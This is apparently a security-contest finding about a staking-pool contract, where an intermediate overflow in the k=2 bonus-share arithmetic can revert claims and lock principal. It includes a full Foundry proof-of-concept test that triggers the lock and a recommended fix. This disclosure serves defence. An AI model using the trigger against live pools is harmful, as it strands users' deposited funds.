FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: medium

Expanded k=2 arithmetic can overflow and block principal claims

Author Revealed upon completion

Root + Impact

When snapshotTotalBonus != 0, _bonusShare() calculates its k=2 denominator in checked uint256 arithmetic. A valid aggregate stake can make the two positive terms fit individually but overflow when added, before their mathematical cancellation. Every affected claim then reverts, including the principal transfer.

Description

At settlement, the pool evaluates the expanded form:

uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
uint256 minus = 2 * T * snapshotSumStakeTime;
uint256 globalScore = plus > minus ? plus - minus : 0;

For stake present before the risk window, every position is clamped to entry time E. With aggregate stake S, the positive expression is S * (T² + E²). The first unsafe aggregate is:

S = floor(type(uint256).max / (T² + E²)) + 1

Both S * T² and S * E² fit, but their checked addition overflows. The equivalent factored score S * (T - E)² remains representable, so this is an intermediate-overflow bug, not a mathematical zero-score case.

Both claimSurvived() and claimExpired() call _bonusShare() before returning principal. A panic rolls back the claim. On the EXPIRED path it also rolls back the attempted resolution, leaving the pool UNRESOLVED.

Risk

Likelihood

  • The factory imposes no aggregate-stake bound or token-decimals restriction; an owner-allowlisted asset with sufficient raw-unit supply is the only configuration precondition.

  • Any account can activate the vulnerable branch by contributing one raw bonus unit.

Impact

  • A claimant receives no principal because the whole claim reverts with Panic(0x11).

  • The same denominator is shared by all claimants, so the pool's recorded principal remains locked until the code is changed.

Proof of Concept

This complete test uses the repository's existing BaseConfidencePoolTest fixture; it requires no attachment or external artifact.

import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {stdError} from "forge-std/StdError.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract K2OverflowPoC is BaseConfidencePoolTest {
address private whale = makeAddr("whale");
function test_bonusDenominatorOverflowLocksPrincipal() external {
uint256 E = block.timestamp;
uint256 T = E + 1 days;
uint256 firstUnsafe =
type(uint256).max / (T * T + E * E) + 1;
// BaseConfidencePoolTest sets minStake to ONE.
_stakeRaw(whale, firstUnsafe - ONE);
_stakeRaw(alice, ONE); // aggregate stake == firstUnsafe
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.UNDER_ATTACK
);
pool.pokeRiskWindow();
_contributeBonus(carol, 1); // enters _bonusShare()
vm.warp(T);
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.PRODUCTION
);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
vm.expectRevert(stdError.arithmeticError);
vm.prank(alice);
pool.claimSurvived();
assertEq(pool.eligibleStake(alice), ONE);
assertEq(token.balanceOf(alice), 0);
}
}

The last-safe aggregate, firstUnsafe - 1, settles normally. Keeping the same first-unsafe aggregate but omitting the bonus also returns principal, isolating the failure to the bonus-share arithmetic.

Recommended Mitigation

Enforce a conservative aggregate-stake bound before increasing totalEligibleStake:

uint256 newTotalEligibleStake = totalEligibleStake + received;
uint256 maxTime = uint256(expiry);
uint256 maxK2Stake = type(uint256).max / (2 * maxTime * maxTime);
if (newTotalEligibleStake > maxK2Stake) revert StakeMagnitudeTooLarge();

Apply the check on every path that increases eligible stake. Changing only the later division cannot help because the overflow occurs first.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!